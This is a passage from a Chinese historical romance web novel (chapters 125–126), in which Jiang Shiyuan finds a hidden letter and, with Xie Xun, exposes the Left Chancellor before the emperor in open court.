听着轰鸣的丧钟久久徘徊于典狱,钟声泠泠,即将破晓的天色也被震得颤颤的。 直至日夜交替,姜时愿才恍然意识到已是第四天清晨。时间已过一半,而她仍然一无所获。 她软在地上,寒意跗骨而上,底气湮灭.她力如浮游,无力回天.….她为何总是承受受着他人的恩惠和庇护,而自己却永远护不住至亲呢? 姜时愿看着眼角淌下的泪水滴在手中的水纹纸上,将“沈煜”和“姜淳”两字化淡漠晕开,丝丝缕缕地连成一线。 姜时愿怔了怔,灵光乍悟,急忙跑去姜家旧宅。 等慕朝听闻哨声,急忙赶来时,只见月落之下姜时愿口唇苍白,几缕青丝沾在汗湿的额前,嗓音更是前所未有的沙哑,“在哪里…在哪里…阿兄究竟把它放在了哪里…”姜时愿接二连三地搜寻一个厢房又一个厢房,不顾陈年的灰尘令她连连呛咳,在三年前曾被禁军抄家后遗留下的狼藉中翻箱倒柜,惨白的手指细细地搜寻着每一处。“小姐…你在找什么…”慕朝被眼前的姜时愿骇住。 姜时愿瞬间呼吸凝滞,忽然回首望向慕朝,月光映亮她脸上交错的泪痕。 她此时无助彷徨,几近破碎,泪意婆娑,“慕朝你终于来了,快帮我找找…一定在姜家,我要找的东西一定在这里…”。她不敢找典狱的人来,谢循现在如临大敌,已经够乱了,她不忍给他添堵。 慕朝看清她的十指已经被磨灭地渗出鲜血,心疼至极,想搀扶她起来,哪想姜时愿卯住了劲儿就是不肯,又开始翻找起来樟木箱。 她的声音支零破碎: “谢循说的没错,沈氏、宋府之所以灭门是因为了暗河太多机密。” “而姜家乃是四大家族之首,左相甘愿冒这么大的风险去污蔑姜家、栽赃兄长,说明我的兄长极有可能也是发现了他的秘密,所以左相不得不杀。而他要灭口,直接杀了兄长及姜府所有人不就成了,为何要大动干戈派禁军查抄姜家?" 她盯着姜家的狼藉,急喘着:“是不是因为左相在试图从姜家里翻出一件东西?” “什么东西?”慕朝忙不迭问。 姜时愿罗袖满是污渍,她不甘地擦去眼角意图示弱的泪水,“我想,是一件足以证明左相的罪证。” “你可还记得我与你说过,洛州沈煜发现了天外天和暗河的秘密,更甚发现了左相的秘密,曾写下数封密信送去京中,可皆雁杳鱼沉、石沉大海。那些密信或是左相拦截下,才没能抵至陛下眼前。” “而我的兄长姜淳曾受教于左相,是他的学生,也曾频繁出入左相府。” 她的双眸红得如同晕开的朱砂,“会不会是我的兄长曾在左相府邸,发现了那数封来自洛州沈煜写下的密信?” 这也就能解释清楚,一切的前因后果。沈煜送出的密信被左相拦截,左相便从这些信件中挖掘出试图协助沈煜颠覆暗河的叛徒——谢循。所以左相才如此洞悉沈煜和谢循当年的计策,出手制止,让沈煜和谢循一死一伤。而她的兄长姜淳,沈氏灭门后才拜入左相门下,成为他的学子,因此染上厄运。 姜时愿终于想起来了,姜淳神色及举止怪异皆是从去往左相府邸送去拜帖后开始。 三年前,姜淳想赶在姜时愿的出嫁前再为她大肆操办一次,所以对她此次的生辰宴极为上心,小到选拟菜品、布置装点,大到宴邀宾客,皆是他亲手准备。姜淳为父为母习惯了,总是想为姜时愿打算好一切。于婚事门第上,盛府算是高攀四大家,但终究他们的双亲已然不在,无人能为他们撑腰。因此姜淳将为姜时愿谋一条后路,想让她认自己的老师左相为义父,从此便有三朝元老为她主持公道,必不怕盛府挑难苛责。 遂姜淳在姜时愿生辰礼前的第三夜,特意拜访左相,送去拜帖。 北风凛冽,吹得姜时愿的裙踞漂浮不定,宛如夜昙,惊艳夺目。 “我想,兄长就是因此无意中在左相府中发现了沈煜的密信。所以,难怪那几日我见兄长茶法不思、难以安寝,还以为是他准备生辰礼而事事亲力而为才太过操劳…”姜时愿痛定思痛,“我的生辰宴上兄长急欲进宫面见燕王,是不是就是打算将一切如实相告?” “而左相也察觉密信不见,故而怀疑到了兄长头上,他怕夜长梦多,所以设计陷害兄长。而左相没想到的是,进宫面见燕王时兄长竟然没有把密信带在身上。”“左相应当是觉得,如果密信既不在兄长身上,便只能就被兄长藏在姜府之内,遂才让禁军大肆查封姜家,试图找出那些密信。” 即便她终于想清一切疑云,可已太迟。 因为,丧钟每过两个时辰就会透过重重宫阙、朱红宫墙,催命的回音,落在姜时愿的耳朵里,不停地提醒她今日是几时几刻。 此时,已是第六夜,等天际破晓之时,便是迎来决定生死的第七日。而姜时愿和慕朝翻遍了整个姜家宅邸,也没有发现所谓的密信? 她救不了兄长,也即将救不了谢循。 125、125 寒风萧瑟,钟声哀止,可余响仍萦绕在姜时愿的耳畔,久久不绝。 她扬起蝽首,望着寂寥夜空,星月不见,愈添凄凉。 万籁皆寂寥,慕朝驻足在她的身后,不知如何出言安慰。姜府都快被他们二人翻了个天翻地覆,依旧查无所获。他都不禁开始怀疑,是不是小姐从一开始就推断错了,姜淳至始至终手里就不曾有过左相的罪证? “小姐,还有时间你再想想,一定还会别的出路的.”慕朝见听着姜时愿凝噎啜泣,心都揪起来了,又见她仿佛如断弦纸鸢般失魂落魄地走出姜府。姜时愿曳着素白襦裙、云鬓散乱,踉跄地扶着朱墙而行,见着朱雀长街阒寂昏暗,伶停身影朝着北面而去,过往回忆如残影在她游离而过…温润可亲的兄长,在皇陵中相识结伴来到的三七,还有,她甚至想到了典狱中初见不可一世的顾辞,他们的面孔皆一点点淡去,在她脑海中化为一堆白骨。她从没能救下任何人,而他们却或多或少都因自己而死。 而如今,她又要眼睁睁看着谢循离她而去。 她是如此了解谢循,他从来都视自己的性命如草芥。花了整整六日,她都没能找到左相的罪证,她已想到到谢循定会决绝地舍弃自己,选择和左相同归于尽,既是为救庆国万民,也是为了弥补对她心中的愧意。 她深知,留不住自己的爱人。 残夜尤浓,在打更人声声聒碎的铜锣声,檐下雨幕重重,姜时愿缓步走近典狱,不知该去往何处,蓦然她迎面跌入了一个久违的怀抱,又紧着听见低沉喑哑的声音划破雨幕,温柔地唤她“姜司使”。 谢循刚想仓皇退后半步,谁知姜时愿倾身,温软磬香再度撞了个满怀,浸着雨水寒意的手执拗地攥着他腰间的蹀躞带,掐至指尖通红,也不肯松手。 若说第一次是无心之失,那此刻的相拥就是她故意为之。 谢循喉间滚动,不敢相信此刻的温存,他已经太久没和阿愿如此亲密的接触过,他不顾约法三章,心之所动唤出,“阿愿”。 随后,谢循感觉到姜时愿抵在他的肩头,滚烫的泪水滴落在他的衣襟,灼烧着他眼下澎湃不已的心跳,木木地听着她再不可掩藏的爱意和哭音。 “怎么办啊,我救不了你…阿循,你告诉我,我该如何留住你…”她责怪着自己的无能,猜出他即将选择的陌路,不再去问如何才能救他,而是充满恳求地问如何才能让谢循改变主意,为她留下… “你终于肯唤我了。”谢循终于敢悬下一颗心,放心大胆将他的阿愿拥入怀中,话音里藏不住的欣喜,揽 在柳腰上的手臂逐渐收紧,"我还以为…再也听不到了…" “阿循,如果我不能更改你的决定,至少请让我陪你一同进宫。”姜时愿眼眸满是碎玉,尾音消弭在颤抖的哭音中,极为卑微地央求着,“答应我?让我陪在你身边,好不好?” 至少姜时愿唯一能做的,就是生死与共。 月光将两道相拥的身影投落在青砖板上。 谢循谢滚烫的呼吸纠缠着她散乱的发丝,看向她眼神荡开层层温柔,点破她的忧心,“放心吧,阿愿,我不会离你而去,也不会自寻死路。我已经找到了能证明左相就是暗河阁主的罪证。” “当真?”姜时愿喜出望外,热泪滚下,“阿循,你当真没有骗我?你真的找到了?” “我向你许过诺言,绝不会再欺你瞒你。”谢循的声音温柔至极。 “罪证在哪?” “阿愿,跟我来。” 谢循的掌心覆上她早已冰冷麻木的柔荑,领着她越过官道走入寂寥无人的融雪阁,又潜入她从不知晓的另一条暗道。 姜时愿的心愈发不安跟着谢循进入深邃的暗道,不知走了多久,她的疑问接二连三地冒出来,“阿循,是什么样的罪证?为何你又要领我到这,罪证真的就在这里面吗?" 她起了犹豫,而谢循沉默难应,脚步不曾停下。看着他不曾犹豫的背影,姜时愿的犹豫又转为疑心,眉间渗出冷汗,满是防备,“停下来,你要带我去哪?” “回答我,谢循!”姜时愿的呼吸急促,看着幽暗的地道在他眼睑上投下阴翳,叫她看不清他的神情,“你又骗我,你不是答应我不再欺我瞒我吗?而你方才又在骗我?" 典狱春试时看清谢循的隐瞒,姜时愿更多的是恐惧和后怕,怕她识人不清,更对他有了防备之心。雨夜纠缠之中,她终于狠狠撕去谢循所有伪装和谎言,那时她的心被愤怒点燃到极点,更对他深恶痛绝。 如今,再次察觉他的言不由衷,姜时愿更多的是难以言喻的心痛,理智崩溃,咸涩的泪漫进口中。 她再次涌入他的怀中,整个身子都在簌簌发抖,而谢循深感她此刻不绝的泪水,比谁都更清晰她身上的战栗和冰冷,却依然冷漠无情地扼住她的皓腕,迫使她慢慢松开他的衣襟。 “不要!不要…不要…”,姜时愿泪水如梨花落下,极为无助地看着自己被迫放开爱人,那双无力的手凝在半空,再无法挽留下去意已决的谢循,“我说过,我再不想让任何人离开我了…阿循,不要再离开我了,否则,这世上我就真的孤苦无依、再无至亲了…" “求你…不要留我一个人活在世上。” 娇声软弱卑微到了极致,闻着心碎。 谢循眸光不忍,眼睫微颤,试图掩饰泪意,“我接到暗报午阳关的校尉俱是左相的人,左相已下了死令,明日无人能踏出汴京半步。今夜是我最后能送走你的机会,这条密道直通京外不用过验城关。" “阿愿,我已经吩咐过袁黎,他会护你离开。”谢循霜寒的黑瞳中涌动着消融的春水,他微不可查地泪盈双眸,贪恋着最后的时间,说着不舍,“山水万程,泱泱大庆, 希望阿愿余生,不惧不惊,平安喜乐。” "忘了我,岁岁安,朝朝好。" 深藏爱意,以忘断念。 谢循转身的瞬间,划过寒风,月白袍飘起,他离去的瞬间太快也太过无情,甚至不留姜时愿一丝感反应的时间,她急忙伸手去抓他的衣袂,可惜衣袂如捉摸不透的鸦羽轻轻荡下,似戏弄般地从她手心中溜走,"阿循…不要!" 冷风拂面,姜时愿看着谢循远走的背影,急忙去追,哑声喊着他的名字,却只能眼睁睁看着他走出密道,颇为书生气的手刻不容缓地移动龙头机关,四周石壁陈年的砂砾簌簌震落,一道石门缓缓移出。 姜时愿瞳孔紧缩,看着谢循的背影渐渐被石门遮蔽,她自知再留不住,崩溃大吼:“谢循你就是骗子!骗子!” 哪怕姜时愿已用尽全力却依旧阻止不了谢循的离开,而她的挽留又总是迟来一步。她眼睁睁看着石门遮去谢循最后垂落的影子,看着她的爱人不曾再回头看她一眼。而一墙之隔的谢循亦被凄情纠缠,心中哀恸,眸光黯淡,勉强依着石墙而站。四周寂静,只听见他一声更比一声悲痛而凝滞的呼吸,悬而未坠的泪水彻底不可再控。送走了阿愿,他才可以真正再无顾忌,生死由命。 咔嗒一声,密道陷入沉寂。已是徒劳,无力回天。 姜时愿脚步踉跄,娇躯顺着冰冷的石壁慢慢脱力滑下,整颗心撕裂至支离破碎。也不知过了多久,等袁黎找到姜时愿的时候,她已缩成一团、脸色苍白,满目泪光。 袁黎反而先安抚起来了姜时愿,瘦小的手掌帮她拭去她的泪水,学着谢循般柔声安慰着,“别哭了,别哭了。主君一定能回来找我们的,他答应过我的,让我先带你离开京城,而后他会来找我们的……” 他是如此殷切地期望姜时愿能给他一个答案,奈何她紧抿着唇,不知如何回应。袁黎心思如灰,跟着猜出谢循赴死的决心,问着,“主君是不是回不来了….”,说着说着,泪流满面,放声大哭。 姜时愿紧紧抱住了袁黎,藏在袖子下的手颤颤发抖,“我一定会救他的,我也一定能找到罪证的…” 她无比确信兄长手里就握住罪证,但为何她翻遍了整个姜府,就是查无所获呢? 她的兄长究竟藏在了哪里? 姜时愿抱着袁黎倏然灵光一现,想起生辰宴那日,姜淳急欲进宫,已派轿撵在府外等候。姜时愿见她要走急忙追出府外撒娇求软,问着兄长要去哪里,走了竟连生辰礼都不留下,莫非是忘了准备了? 姜淳笑着掀开帷幕,伸手摸了摸她的桃腮,宽慰承诺,“阿愿乖,乖乖在府里等着阿兄。阿兄会尽早处理要事,回府与你团聚,届时一定会亲自将准备已久的生辰礼送至你的手上。” 生辰礼? 难不成就是被兄长藏在书房的檀木箱? 她昨夜曾在姜府翻找到一个精致的檀木箱,被姜淳极为爱护和小心地藏在碧纱橱后。 时隔三年后,姜时愿才亲手打开兄长迟送的生辰礼,借着几缕清冷的月光,看清箱里装着凤冠霞帔。那喜服虽蒙了尘颜色黯褪,也并无奢华的珠宝点缀,可上面的绣案和样式皆完美贴合姜时愿的心意,足以见姜淳为了此生辰礼费了多少心思。 兄长并未在离府前交给她生辰礼,是不是因为…那生辰礼有着让她不可接触的东西? 姜时愿双眸骤然紧缩,想起她曾拂过绯红的嫁衣,霞帔的做工质地不是常见的绯色鲛纱,而是厚重的缎面,这是不是因为里面藏了什么? 天色渐明,听闻今日圣人又要再下圣旨、昭告天下。 汴京城中家家户户的百姓都群聚在朱雀门前,见着朱红宫门逐渐洞开,络绎不绝的轿撵驶入宫中,青石御道上文武百官皆持着象牙笏板往金銮殿而去。 卯时三刻,金銮大殿八方庭柱上盘旋的金龙嘴中缓缓泄出龙涎香,百官皆穿朝服,闻着崔广事尖锐的嗓音,一叩三拜,恭迎着庆帝坐上龙位。 庆帝年近半百,高坐明堂,已显得力不从心。放眼看着百官俯首,山呼万岁之声依然震耳,这才安心坐稳,枯槁无力的掌心抚上九五尊位上的龙身。只是,他恍然发现这伏跪的群臣中少了一人,便是他亲封的魏国公,谢循。 庆帝低声盘问,“魏国公可在?”可惜百官面面相觑,皆不知谢循所踪。 倏然,殿外传来响动,群臣回首,帝王侧目。只见朱雀宫门渐渐洞开,一道颀长的身影出现在众人讶然的目光中,踏入殿中。 “魏国公你来晚了?”庆帝,但并无责备。 谁料,谢循直立站在玉阶前,直视着君王。当着群臣的面前,圣人的眼下,解开玉带,褪去官服,削去玉冠,墨发披散,只剩一身犹如罪人的素白斓衫。若不是此人的脸上还带着青面獠牙,在场谁人敢想象此人是魏国公? 群臣不解开口,"魏国公这是何意?你怎敢在圣人面前,衣冠不整,言行有失!" 群臣满是口诛笔伐,庆帝更是不解其意,“魏国公这是何意?让孤百思不得其解?” 下一瞬,谢循背脊笔直,双手高举,“臣来为姜家昭雪,为姜学士清罪。今日脱去官袍,还请陛下过目臣的文书!” 在场之人面色皆微微一变,怒斥之声接踵而来。 “魏国公,你当真是失了体统!你明知今日陛下召集群臣及万民是要亲自宣布何等大事,而你却在这为姜家请冤?” "简直胡闹,姜家之案正在由典狱彻查,魏国公今日寓意何为?" 在一旁抱着笏板的左相,盯着谢循,察觉不对,眼神晦暗。 左相身旁的翰林院主事接到左相的暗示。急忙出口,“此案老臣不是记得由魏国公亲自审理的,不是判定姜淳谋害燕王,证据确凿吗?怎么,今日国公怎么转了性子,反倒替姜家开始鸣冤了?" 谢循闻言微微一笑,一双凤眸冷如枯井,又接着扬声:“臣今日不只要为姜家鸣冤,更是要上书弹劾左相。臣弹劾左相图谋不轨,三年前设计谋害燕王后嫁祸给姜淳,并始终包藏祸心,试图谋朝篡位,颠覆庆国。” 群臣皆愤懑。 "胡闹!魏国公指控左相,是疯了不成?" “谁人左相乃是三朝元老,国公胆敢说此大逆不道之话?” "魏国公今日举止疯疯癫癫,不成体统,更甚在大殿之上口出厥词!还请陛下法办!" 左相本还和蔼的面容瞬消,怔怔地看着眼前的谢循,回想起往事,眉眼紧压,迟疑稍许唤出,“阿循?”在场唯有他们二人才心知肚明,这个阿循指的不是如今的魏国公,而是曾在暗河麾下效忠的阿循。 左相不甘心地确认,“阿循?真的是你?” 谢循冷冷转身,抬手解下他已戴了太久的青面獠牙,晨曦驱散他尘封的阴翳,渡来柔光,映亮他的五官。 群臣和庆帝亦跟着第一次看清魏国公的面容。 出乎意料的,不是面目可憎的罗刹,而是清隽端方的君子。 谢循抬眸,目光如刃,刺向左相,“阁主,许久不见。” 126、126 左相敛眉慈善的面容先是眉头微松,他委实不敢亲眼所见他亲手养成的阿循如今还能出现他的眼前?他以为阿循是死了,或是逃到山高水远之地,不愿让他再寻到,不愿再把他炼为棋子。 而如今阿循又再度出现在他的眼前。 此情此景,让左相想起曾在暗河与阿循对峙那日。 纵使他打断了阿循的腿骨,而阿循依旧背脊挺直,满是傲然,眼神满是憎恨和杀意。 左相永远忘不了那刻他如遭雷轰,脚趾紧蜷,他做了数十载掌握世人生杀大权的‘天神'',而权威的天神却看见少年一双含恨的凤眸后心跳如雷,头皮发麻。 左相也不知他为何而恐,为何而惧?他明明才是那个胜券在握的棋手,他分明将这不可一世的天子骄子以最荒诞的戏码玩弄于掌心… 时至今日,等谢循再度重回他的眼前,在他不可意料的情况下的出现,左相才终知道养虎为患、自食其果的道理。他竟不知谢循是何时恢复的记忆,是何时取了影子而代之,又是何时开始与他虚与委蛇的? 只见左相如菩萨般祥和的面容紧盯着谢循的容颜,表情逐渐变得阴翳可怖,宛如方在黑夜才能得以现身的恶鬼罗刹。 但左相玩弄权谋算计、潜伏多年,又岂会轻易自乱阵仗。他见谢循只穿素白斓衫跪在群臣面前弹劾他,便猜出他也是无路可走。 “老臣不知魏国公是何意思,为何又要叫老臣阁主?”左相的眉目又温和下来,却难不住嗓音变得沙哑:“什么阁主,老夫闻所未闻,不知国公可否明说?” “谢某自然拜的是暗河阁主,您对我有知遇之恩,又有再造之恩。如此沉重的恩情,您叫我如何能还?” 谢循面目冷凝,觑着左相,左相的脸色依然镇静自若,“群臣都说魏国公得了失心疯,老臣瞧着也像,竟追着老臣认定老臣与…暗河有勾结,更甚怀疑老臣是暗河阁主?" “先不论老臣是否是暗河阁主。国公方才说暗河阁主对你有恩,那老臣就想问了,承受过暗河阁主雨露的魏国公,您,又是谁?” 左相眸光如刃,直戳向谢循,却发现他没有一丝动容,无惧无畏。 是啊,谢循既然能在群臣帝王面前摘下面具,怕已是打算破釜沉舟,又岂会害怕? 谢循站在金銮大殿,脸上倒映着森冷天光,他映着文武百官之面,将墨发撩至肩前,扯松衣衫。 上半身素白斓衫缓缓褪下,露出疤痕交加、无一处完好皮肤的后脊。 这副伤痕累累的身躯,就已能完美地证明他的来时路是如此可怖。 在场众人皆是一惊,更有甚至将芴扳摔在地上,大呵:“你究竟是谁!” 又有官员附和,“左相你得给个解释,您老不是说谢循乃是你收容的义子吗,是您旧时同窗御史台中丞遗留下来的孩子?而如今谢循身上的满身伤痕又该作何解释,刀伤、剑伤、拳伤等层出不全,他究竟是何来历?" 谢循冷笑,看向左相“因为他从不是什么左相,而是暗河阁主。” "老臣也从未见过他这满身疮痍。”左相故作讶然,祸水东引指向谢循,“难不成真正的谢循早就在赶来京城投奔老臣的途中,被他杀害,从而调包!" 众臣再辨别不出是非真假,而谢循依然不慌不忙地说道:“左相先前命谢某在六司中安插的暗河细作,其实皆被谢某替换为可信之人。而你欲从北水调来的军师,也被谢某暗中假借您的命令压下。谢某倒是想看看,你今日还有何种准备?" “当真可笑,你一而再再而三栽赃老臣是暗河阁主不成,又开始指认老臣包藏祸心、是个乱臣贼子,你究竟想要干什么?”事已至此,左相依然未有任何慌张,甚至反咬一口,“你可有证据?” “典狱向来不是讲究杀机、物证、人证、口供俱全才能定罪,你如今光想红唇白齿一碰就来污蔑老夫?”左相不怒自威、眼神如狼似虎。 反之谢循不畏凶兽,玉质嗓音掷地有声,“谢某就是人证。” “谢某曾是暗河之人,是四绝之人,也是魑。” 话音甫落,谢循以内力化风,密闭的金銮殿中忽起狂风,呼虎寒风如虎啸袭来。庭柱雕刻的金龙像龙头寸断,群臣又皆被不可抗力地吹得四仰八叉,唯有左相和谢循二人挺立在庭中,墨发吹散衣袍猎猎,四目相对。 深不可测的功法,已是谢循能证明自己身份最好的证据。 谢循看着左相面色如霜,却是对着群臣及庆帝说道,“我已功法为证,证明我就是四绝。” 众人皆震,高喊着四绝,崔广事更是惜命地扯出细锐的嗓音,“禁军何在——” 听见号令,殿门悉数洞开,玄甲禁军鱼贯而入,谢循也立马警觉,以迅雷不及掩耳之势,先行撂倒一名禁军,并从他的腰间取下佩剑。 下一瞬,禁军缓缓围困住谢循。 谢循被银戟刀剑裹挟其中,进也不得,退也不得。他预向眼前的左相走去,众禁军及李斯的剑就离他越近一寸。 禁军与谢循成对峙之势,僵持在此。 禁军面对深不可测的魑不敢轻举妄动,而谢循也不敢再让手中沾血,他一身犯下的杀孽太多,遇见阿愿后,更是悔过,不敢再犯。风声渐止,停歇。 谢循看着愚昧不清的众人,颈间青筋怒起,颚线绷玉,“谢某的一生功法就是由他亲自传授!是他以蛊虫控制我,将我从魑变为魏国公。 “左相不仅是暗河阁主,真实身份更是楚国皇室中的最擅巫道的国师!”谢循剑眉压云。 谁料,谢循的一番话点起群臣激愤。 “胡言乱语!老夫与左相同僚数年,左相更是三朝元老,若说他不忠于陛下,老夫第一个不信。”“我瞧你才是那个意图逆反之人,你分明是四绝,却潜伏在朝堂多年,说,你究竟想干什么!” 文武百官均后思极恐,一个四绝竟然在朝为官多年,甚至高升至圣人亲封的魏国公,掌管典狱!他们恨不得要将眼前谢循的押入刑牢,用世间最痛的刑罚去逼迫他开口,让他将暗河的脏水俱交代干净。 更有封狼将军向庆帝请命,“依臣之见,谢循压根就拿不出证据,空口白牙栽赃左相就是想引得朝中大乱,让外邦趁虚而入。” 一声更落,百声又起,越来越多的百官跪在青石板上,高扬着:“臣恳请陛下即刻压谢循入天牢,严加审问。” 庆帝危坐皇位之上,刚欲抬手下令,忽然宫庭檐角泛出泠泠声,朱红殿门中有人曳着千重昙花纹青裙,其容高髻浓鬓,杏脸柳眉,珠初涤其月华,柳乍含其烟媚,清落高洁如玉兰。 哪怕庆帝仅见过姜时愿一面,其面容也快遗忘。但今日乍现还是不由得为之一震,她身上玉莹生清的文人风骨,让他瞬间想起她是谁。那样别具一格的风骨,他曾见过,是源于她的阿耶、祖父还有兄长姜淳。 迎着众人错愕的目光,姜时愿移步入殿内,她余光觑见她的夫君被禁军以利器包夹在其中,更听他的嗓音清越带颤,“阿愿…你为何要来?你不该来的。”姜时愿抬起一双琥珀色的眼眸直视君王,温婉的声音层层荡开在大殿之中。 “洛阳姜氏嫡女姜时愿见过陛下,臣女来替姜家鸣冤。” "同时,臣女也要替夫君伸冤,夫君从无不臣之心,日月可鉴、天地可昭!" 左相看见姜时愿凌厉的目光移向自己,从青袖中缓缓掏出早已泛黄的信纸,面色再不能稳住,黑得几乎能泛出来,手中的芴板也“咔”碎出细纹。 两只纤浓得宜的玉臂缓缓高举信封,试图以淡薄的一人之力呈于帝王眼下,群臣眼下,还有千万双世人的眼下。 姜时愿伏跪在地,重磕在地,青丝也散乱在肩前和冷砖上。 泪水慢慢晕染青衫,咸淡酸涩的血泪漫入唇腔之中。 她双眸殷红,嗓音压抑至沙哑,却字字铿锵,“姜家一直效忠陛下,兄长姜淳也从无谋逆祸心,这一切都是左相的设计陷害。臣女的兄长忠君爱国,至死都想为大庆扫除余孽,冒死藏匿此密信,才因此遭受了杀生之祸!" 姜时愿颤抖着一双柔荑将密信慢慢摊开,高悬于自己的头顶,浑身战栗,“洛州御史大夫沈煜曾书写密信一封,信上皆是弹劾当今左相。沈煜发现天外天以赌宴为名明面上肆意敛财,实则暗中替暗河培养杀手。而沈煜进一步调查,发现天外天和暗河积攒的脏银一部分流出偏远之地招兵买马,另一部分则全部流入左相府。” 姜时愿一双含恨的眼眸如剑刺向左相,汗珠在额间凝集,是她愈发不可掩藏的杀意。 “而我的兄长翰林学士姜淳,曾是您的学生,前往左相府中送 拜帖之时,因是偶然间发现了这份密函,所以秘密将密函窃走,藏在姜家。而你发现密函不再又询问了下人今夜有谁来过后,自然而然把嫌疑定在我兄长的身上。”"于是,你不惜以身入局,设计陷害兄长谋杀燕王,并想借着圣人的旨意查封姜家,目的就是想找出这封密函。" “而你却没想到你翻了整个姜家,却依然没有发现密函的下落。”姜时愿笑意很冷,“估计左相至今仍不清楚这封密函藏在了何处吧?” 左相目光紧盯着姜时愿手中的密信,脸色黑如铁铸,又抬眼扫上高位,气息急促。 姜时愿眼中炽热的怒意在烧,眼中噙着的不再是泪,而是三年日以继夜的恨,国仇家恨。 她嗓音虽软,却竭尽全力,声震大殿: “还请陛下过目忠臣沈煜不惜以命写下以及兄长以命护下的密函,密函上罪证清晰,左相辩无可辩。” 一波未平,一波又起,崔广事领了庆帝的示意,脚步踉跄地滚下玉阶,接过姜时愿手中的密函转而呈在圣人的面前。 少许之后,圣人面色红云,竖眉冷峻,一声怒喝,喝得崔广事和身旁的祁王燕王皆跪了下去。 庆帝指着左相,胸臆如堵:“你好大的胆子!来人!擒住他!” 左相自知无力回天,已成败局,放声大笑,抬手撕去了许久的人皮面具,露出他原本的真面容。见之,庆帝差点稳不住声,扶着龙头,满眼仍是不可思议,“孤见过你,当真是你!你就是那个楚国国师!" “就是老夫!”左相声嘶力竭地直指九五之尊,淬着最恶毒的话语,“你个狗皇帝灭我楚国,杀我国人,你为何还能夜夜安睡,为何还有脸高居这个位子!老夫要拉你下来,要让这个天下归还给我楚国!" “放肆!”群臣怒喝,“来人擒住他!” 而左相依然不慌不忙地转过身,双眸血红,不过是抬手之瞬,方才包夹上的禁军尽数倒地、血流成河,他如同个疯子仰头大笑着臭虫烂虾的无能,温热鲜红的血飞溅至高洁的金殿之上。 再无阻拦,左相又步步朝着谢循而去,满是嘲讽:"阿循啊,你还真是个养不大的狼崽。你就算救了庆国万民,帮了这个狗皇帝和百官,你以为他们就会对你感恩戴德吗,就对你既往不咎吗?" “呵呵呵…”左相的鼻腔里哼出冷笑,摇着头,“你还是太天真了,阿循。我的下场就会是你的下场,懂吗?” 一群禁军倒下,很快又紧接着又玄甲鱼贯而入,放眼大殿之外,千万人拿着兵戟相对,左相仰头看着金銮段的牌匾痴痴地笑着,自知已无活路,又回头向高位深深忘了一眼,眼眸里倒映出楚国的山河社稷。 鬓发苍白的左相,笑了,痴了,缓缓移步走向殿外,直面军队… 这场厮杀从晨曦持续到黄昏,姜时愿看着满庭血色,甚至连同晚霞都被染得嫣红。 她扶着殿门,看着左相陷入疯魔,以一敌百又敌干,哪怕他已精疲力竭、身中数刀,却迟迟不肯倒下,大叫着要杀死每一个庆国之人。 在前赴后继加不停歇的围剿之下,左相的腹部被数把银戟同时刺入,口角呃出浓浓鲜血,他半笑半癫看着伫立在金銮殿的谢循,奄奄一息地嘲笑道,“看到了吗?阿循,这就是你我的结局,我先行一步在黄泉等你…” 说罢,左相终于垂下头颅,兵刃撤出,离了支撑,尸身倒在血泊之中… 群臣惶恐不安的心才刚放下,又忽然胸口o0,指着还遗留着暗河祸患,大吼着:“快,还有一个暗河余孽!他是魑,禁军快上,赶紧杀了他,不然他迟早会杀了我们!” “快快快.…快上!” “不不不,留活口,他定还知道许多事情,让他把暗河的细作都交代个干净!” 庆帝恐自己的山河不保,又再度下令:"活捉谢循!" 那些寒芒兵戟甚至还没等刀锋上的血液滴尽,又分分指向谢循。 谢循面对威逼,虽不惧,可步伐一而再再而三往后退却,边走边环顾群臣愤红怒视的面容。他们指责自己是杀人不眨眼的怪物,而眼下谢循却从他们的眼里看出,宛如食肉啃骨的凶兽才有的森冷寒光。 他们畏惧,惶恐,害怕,却不妨他们的杀意四起。 他们的眼神都恨不得将他五马分尸、碎尸万段。 所有人的眼神无一例外,皆是如此。谢循想寻求一个不同的,哪怕是带着些许怜悯的神情,皆没有寻到,他们均是食人恶兽,他效忠的帝王也冷面无情,这个金銮殿中无人想他活着。 谢循难掩酸楚,又念起左相的话“我的下场…就会是你的下场”,终是哑声笑了笑。 “哐当”一声,手中佩刀落地,再无希翼,不在抵抗,认命自己的结局。 却不想,一抹娉婷的倩影展开双臂护在他的身前,单薄消瘦的背影掩盖住他落寞含泪的眼神,谢循喃喃出口,扬起唇角,“阿愿…” 听着这掺着温柔的一声,姜时愿亦跟着心如刀割,回头望向谢循,泪水潸然,饮泣吞声。 身后传来祁政的问罪之声,"姜司使,这是何意?难不成你要包庇四绝?本王劝你前往不要有这个想法,姜家罪名刚消,不要为了一个不值得的人再惹上祸水。" “阿愿,不值得,无需为了我再沾染恶障。”谢循眸光流转,粗粝的掌心拂过她的脸颊,猝不及防额间相抵,凤眸浸水,“阿愿,我本是十恶不赦之徒,不敬神佛,更厌众人。直至遇见你才知山河美好,星河璀璨。这才幡然悔悟,愿我生来就是一个干净之人,能清清白白陪在你的身边,岁岁念念不相负。" 他见众生皆草木,唯有阿愿是青山。可惜…这份悔罪已经太迟。 “放开我吧,阿愿。”谢循极致温柔,眼神不舍地再贪恋地看她最后一眼。 姜时愿淌下泪水,扬起头,语气笃定,"我绝不会放手。"她又问,“阿循,你信我吗?” 谢循不解她的意思,但还是点头回应。 姜时愿含泪放开他的手,又取来沉重的锁链缓缓走到谢循眼前,胸腔翻滚着酸涩,但还是亲自为他戴上镣铐。锁上他的双腕时,她又低低俯身贴着谢循,吐出仅有二人能听见的幽兰气息,“信我,阿循,我一定会救你。你既觉亏欠要补偿我,那便永生永世,不是你,或少任何一世,我都不原谅你!” “好。”谢循沉沉应下,许下重诺,"相伴白首,永世不分离。" 姜时愿心如刀割眼睁睁看着谢循被众禁军徐徐压出金銮殿,看着群臣及帝王的面色如死灰复燃、纾解出着淤积的气息。迟迟的,她痛心的眼神又顺着左相最后的视线转至高堂之上,她隐隐觉得左相如此轻易屈膝降敌,必还有原因。 不出半日,金銮殿的危机感消散无影,群臣及帝王安然无恙,大庆依就是安晏河清。姜时愿看着群臣依然谈笑风生退出金銮殿,人流如烟散去… 落叶纷飞,唯有姜时愿长跪在宣政殿之外,恳求着殿内庆帝的相见。内侍垂目满是不忍,重复着那句生冷的命令:圣人下令不见任何人,姜司使纵使在宣政殿前跪穿石砖,圣人也绝不会见,更何况你还是为了那个罪人而来。 姜时愿从黄昏跪至深夜,寒露浸染她略显单薄的衣衫,而她依然跪在殿外,目光如炬,没有丝毫退却。哪怕殿中之人已经熄灭了灯… 寒意跗骨,让姜时愿昏沉的思绪有了一丝清明。 